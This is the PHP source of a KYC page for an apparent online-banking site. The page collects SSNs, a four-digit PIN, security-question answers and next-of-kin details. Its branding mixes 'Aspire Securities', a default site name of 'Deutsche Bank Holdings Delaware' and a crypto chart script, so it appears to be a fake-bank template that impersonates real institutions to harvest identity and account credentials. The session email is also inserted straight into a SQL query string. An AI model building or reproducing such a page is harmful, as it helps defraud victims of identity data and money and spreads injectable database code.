<?php
    session_start();
    if( !isset($_SESSION['chap']) ){
        header("Location:../index.html#login-area");
        exit();
    }
    else{
        $chap = $_SESSION['chap'];
        include "../connect/db.php";
        $sql = mysqli_query($mysqli,"SELECT * FROM users WHERE email = '$chap' ");
        $row = mysqli_fetch_assoc($sql);
        if( $row['status'] == "suspended" ){
            header("Location:account.php");
            exit();
        }
        else if( $row['status'] == "terminated" ){
            header("Location:terminate.php");
            exit();
        }
    }
    




    if($row['code_level'] != "nothing"){

if($row['lock_status'] == "active" )


{
   header("Location:auth.php");
   exit();


}
else{
    
}



}
else{
    
}
    



?>

<!DOCTYPE html>
<html lang="en-US" class="js">

<head>
    <meta charset="utf-8" />
    <meta name="author" content="Smart" />
    <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" />
    <meta name="description"
        content="Aspire Securities is a trademark of Aspire Financial Corporation. Aspire Securities is a trade name for the corporate and investment banking services of Aspire Financial Corporation and its subsidiaries. All rights reserved. Securities and strategic advisory services are provided by Aspire Securities, Inc., member FINRA, link opens in new tab and SIPC, link opens in new tab. Lending, financial risk management, and treasury management and payment services are offered by Aspire Bank. Deposit products are offered by Aspire Bank." />
    <!-- Fav Icon  -->
    <link rel="shortcut icon" href="../images/favicon.png" />
    <!-- Page Title  -->
    <title><?=$row['firstname']?> <?=$row['middlename']?> <?=$row['lastname']?> | <?= htmlspecialchars(getSetting('site_name', 'Deutsche Bank Holdings Delaware')) ?> Online banking
    </title>
    <!-- StyleSheets  -->
    <link rel="stylesheet" href="../scss/sweetalert.css" />
    <link rel="stylesheet" href="assets/css/dashlite.css?ver=2.4.0" />
    <link id="skin-default" rel="stylesheet" href="assets/css/theme.css?ver=2.4.0" />
    <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.4.2/css/all.min.css">
    <link href="../css/toastr.css" rel="stylesheet" />
</head>
<link rel="stylesheet"
    href="https://www.jqueryscript.net/demo/jQuery-International-Telephone-Input-With-Flags-Dial-Codes/build/css/intlTelInput.css" />
<script type="text/javascript">
function googleTranslateElementInit() {
    new google.translate.TranslateElement({
            pageLanguage: "en",
            layout: google.translate.TranslateElement.InlineLayout.SIMPLE,
        },
        "google_translate_element"
    );
}
</script>
<script type="text/javascript" src="https://translate.google.com/translate_a/element.js?cb=googleTranslateElementInit">
</script>
<style>
.goog-te-gadget-simple {
    border: none;
}

.goog-te-gadget-simple a {
    color: #000;
}
</style>
<style type="text/css">
.btn-primary {
    background-color: #033d75;
}

.btn-secondary {
    background-color: #d13636;
}

.btn-secondary:hover {
    opacity: 0.6;
}

.btn-primary:hover {
    opacity: 0.6;
}
</style>

<body class="nk-body npc-crypto bg-white has-sidebar">
    <div class="nk-app-root">
        <!-- main @s -->
        <div class="nk-main">
            <!-- sidebar @s -->
            <div class="nk-sidebar nk-sidebar-fixed" data-content="sidebarMenu">
                <div class="nk-sidebar-element nk-sidebar-head" style="border-bottom: solid #fe473a">
                    <div class="nk-sidebar-brand">
                        <a href="dashboard" class="logo-link nk-sidebar-logo">
                            <img class="logo-light logo-img" src="../logo.png" srcset="../logo.png 2x" alt="logo" />
                            <img class="logo-dark logo-img" src="../logo.png" srcset="../logo.png 2x" alt="logo-dark" />
                        </a>
                    </div>
                    <div class="nk-menu-trigger mr-n2">
                        <a href="#" class="nk-nav-toggle nk-quick-nav-icon d-xl-none" data-target="sidebarMenu"><em
                                class="icon ni ni-arrow-left"></em></a>
                    </div>
                </div>
                <?php include 'includes/sidebar.php'?>

                <!-- main header @e -->
                <div class="nk-content nk-content-fluid">
                    <div class="container-xl wide-lg">
                        <div class="nk-content-body">
                            <div class="nk-block-head">
                                <div class="nk-block-head-content">
                                    <div class="nk-block-head-sub">
                                        <span>Account Setting</span>
                                    </div>
                                    <h2 class="nk-block-title fw-normal">KYC required</h2>
                                    <div class="nk-block-des">
                                        <p>

                                            <span class="text-primary"><em class="icon ni ni-info" data-toggle="tooltip"
                                                    data-placement="right" title="Tooltip on right"></em></span>
                                        </p>
                                    </div>
                                </div>
                            </div>
                            <!-- .nk-block-head -->

                            <!-- .nk-menu -->
                            <!-- NK-Block @s -->
                            <div class="nk-block">

                                <!-- .alert -->
                                <div class="nk-block-head">
                                    <div class="nk-block-head-content">
                                        <h5 class="nk-block-title">Personal Information</h5>
                                        <div class="nk-block-des">
                                            <p>
                                                Your account is almost ready, please complete your KYC to start using
                                                your
                                                account.
                                            </p>
                                        </div>
                                    </div>
                                </div>
                                <!-- .nk-block-head -->
                                <div class="nk-data data-list">
                                    <div class="data-head">
                                        <h6 class="overline-title">Basics</h6>
                                    </div>

















                                    <style>
                                    .form-control {
                                        display: block;
                                        width: 100%;
                                        padding: 0.375rem 0.75rem;
                                        margin-bottom: 10px;
                                        font-size: 1rem;
                                        line-height: 1.5;
                                        color: #495057;
                                        background-color: #fff;
                                        background-clip: padding-box;
                                        border: 1px solid #ced4da;
                                        border-radius: 0.25rem;
                                        transition: border-color 0.15s ease-in-out, box-shadow 0.15s ease-in-out;
                                    }
                                    </style>




<?php  if ($row['kyc_status'] == "review") { ?>
    <div class="alert alert-info" role="alert">
        Your KYC has been submitted and is under review. We will notify you once it's approved. Thank you for your patience.
    </div>
<?php } elseif ($row['kyc_status'] == "approved") { ?>
    <div class="alert alert-success" role="alert">
        Your KYC has been approved. You can now access all features of your account.    
    </div>
<?php } elseif ($row['kyc_status'] == "rejected") { ?>
    <div class="alert alert-danger" role="alert">
        Your KYC was rejected. Please resubmit your information.
    </div>
<?php } else { ?>
  <form id="kycForm" method="post"><?= csrf_field() ?>

    <div class="form-control-group">
                                            <input type="number" name="pincode" placeholder="Pin Code (4 digits Only)"
                                                class="form-control" required>
                                        </div>
                                        <div class="form-control-group">
                                            <input type="text" name="zipcode" placeholder="Zip Code"
                                                class="form-control" required>
                                        </div>
                                        <div class="form-control-group">
                                            <input type="text" name="address" placeholder="Address" class="form-control"
                                                required>
                                        </div>
                                        <div class="form-control-group">
                                            <input type="text" name="state" placeholder="State" class="form-control"
                                                required>
                                        </div>
                                        <div class="form-control-group">
                                            <input type="text" name="city" placeholder="City" class="form-control"
                                                required>
                                        </div>
                                        <div class="form-control-group">
                                            <input type="text" name="ssn" placeholder="SSN" class="form-control"
                                                required>
                                        </div>
                                        <div class="form-control-group">
                                            <input type="text" name="occupation" placeholder="Occupation"
                                                class="form-control">
                                        </div>
                                        <div class="form-control-group">
                                            <input type="number" name="income" placeholder="Income"
                                                class="form-control">
                                        </div>
                                        <div class="form-control-group">
                                            <input type="text" name="next_kin" placeholder="Next of Kin"
                                                class="form-control">
                                        </div>
                                        <div class="form-control-group">
                                            <input type="text" name="next_address" placeholder="Next of Kin Address"
                                                class="form-control">
                                        </div>
                                        <div class="form-control-group">
                                            <select name="next_relationship" id="next_relationship"
                                                class="form-control">
                                                <option value="">Please select Relationship</option>
                                                <option value="Son">Son</option>
                                                <option value="Daughter">Daughter</option>
                                                <option value="Father">Father</option>
                                                <option value="Mother">Mother</option>
                                                <option value="Husband">Husband</option>
                                                <option value="Spouse">Spouse</option>
                                                <option value="Hobby">Hobby</option>
                                                <option value="Cousin">Cousin</option>
                                                <option value="Others">Others</option>
                                            </select>
                                        </div>

                                        <div class="form-control-group">
                                            <select name="securityquestion" id="securityquestion" class="form-control">
                                                <option value="">Please Select Question One</option>
                                                <option value="What is your pet name?">What is your pet name?</option>
                                                <option value="What is your nick name?">What is your nick name?</option>
                                                <option value="What is the name of your first car?">What is the name of
                                                    your first car?</option>
                                                <option value="when did you finish high school?">when did you finish
                                                    high school?</option>
                                                <option value="your favorite music?">your favorite music?</option>
                                                <option value="your favorite movie?">your favorite movie</option>
                                                <option value="your favorite role model?">your favorite role model
                                                </option>
                                                <option value="favorite state?">favorite state?</option>
                                            </select>
                                        </div>
                                        <div class="form-control-group">
                                            <input type="text" name="answer" placeholder="Answer to Question One"
                                                class="form-control" required>
                                        </div>

                                        <div class="form-control-group">
                                            <select name="securityquestion2" id="securityquestion2"
                                                class="form-control">
                                                <option value="">Please Select Question Two</option>
                                                <option value="What is the name of the road you grew up on?">What is the
                                                    name of the road you grew up on?</option>
                                                <option value="What is your mother’s maiden name?">What is your mother’s
                                                    maiden name?</option>
                                                <option value="Where did you meet your spouse?">Where did you meet your
                                                    spouse?</option>
                                                <option value="when did you finish high school?">when did you finish
                                                    high school?</option>
                                                <option value="What is your favorite food?">What is your favorite food?
                                                </option>
                                                <option value="What city were you born in?">What city were you born in?
                                                </option>
                                                <option value="Where is your favorite place to vacation?">Where is your
                                                    favorite place to vacation?</option>
                                                <option value="What was the first company that you worked for?">What was
                                                    the first company that you worked for?</option>
                                            </select>
                                        </div>
                                        <div class="form-control-group">
                                            <input type="text" name="answer2" placeholder="Answer to Question Two"
                                                class="form-control" required>
                                        </div>

                                        <button type="submit" class="btn btn-primary">Submit KYC</button>
                                    </form>

<?php } ?>






<script src="https://code.jquery.com/jquery-3.6.0.min.js"></script>


<script>
$("#kycForm").on("submit", function(e){
    e.preventDefault();
    $.ajax({
        url: "../apps/user/submit_kyc.php",
        type: "POST",
        data: $(this).serialize(),
        success: function(response){
            Swal.fire({
                text: response,
                confirmButtonColor: "#3085d6",
                confirmButtonText: "OK"
            });
                                          setTimeout(function(){window.location = "kyc.php"} , 1200);        

        },
        error: function(){
            Swal.fire({
                icon: "error",
                title: "Oops...",
                text: "Something went wrong!",
                confirmButtonColor: "#d33",
                confirmButtonText: "Close"
            });
        }
    });
});
</script>










































                                    <!-- .data-item -->
                                </div>
                                <!-- .nk-data -->

                                <!-- .nk-data -->
                            </div>
                            <!-- NK-Block @e -->
                            <!-- //  Content End -->
                        </div>
                    </div>
                </div>
                <div class="nk-footer nk-footer-fluid">
                    <div class="container-fluid">
                        <div class="nk-footer-wrap">
                            <div class="nk-footer-copyright">
                                &copy; <?php
echo date("Y");
?>  <?= htmlspecialchars(getSetting('site_name', 'Deutsche Bank Holdings Delaware')) ?>
                                <a href="#">All rights reserved.</a>
                            </div>
                            <div class="nk-footer-links">
                                <ul class="nav nav-sm">
                                    <li class="nav-item">
                                        <a class="nav-link" href="#">Terms</a>
                                    </li>
                                    <li class="nav-item">
                                        <a class="nav-link" href="privacy">Privacy</a>
                                    </li>
                                    <li class="nav-item">
                                        <a class="nav-link" href="contact">Help</a>
                                    </li>
                                </ul>
                            </div>
                        </div>
                    </div>
                </div>
                <!-- footer @e -->
            </div>
            <!-- wrap @e -->
        </div>
        <!-- main @e -->
    </div>
    <!-- app-root @e -->
    <!-- JavaScript -->
    <script src="https://ajax.googleapis.com/ajax/libs/jquery/3.2.1/jquery.min.js"></script>
    <script src="../js/country.js"></script>
    <script src="assets/js/bundle.js?ver=2.4.0"></script>
    <script src="assets/js/scripts.js?ver=2.4.0"></script>
    <script src="assets/js/charts/chart-crypto.js?ver=2.4.0"></script>
    <script src="../js/sweetalert.js"></script>
    <script src="assets/js/jquery.min.js"></script>
    <script src="assets/js/custom.js"></script>
    <script src="../js/toastr.js"></script>
</body>

</html>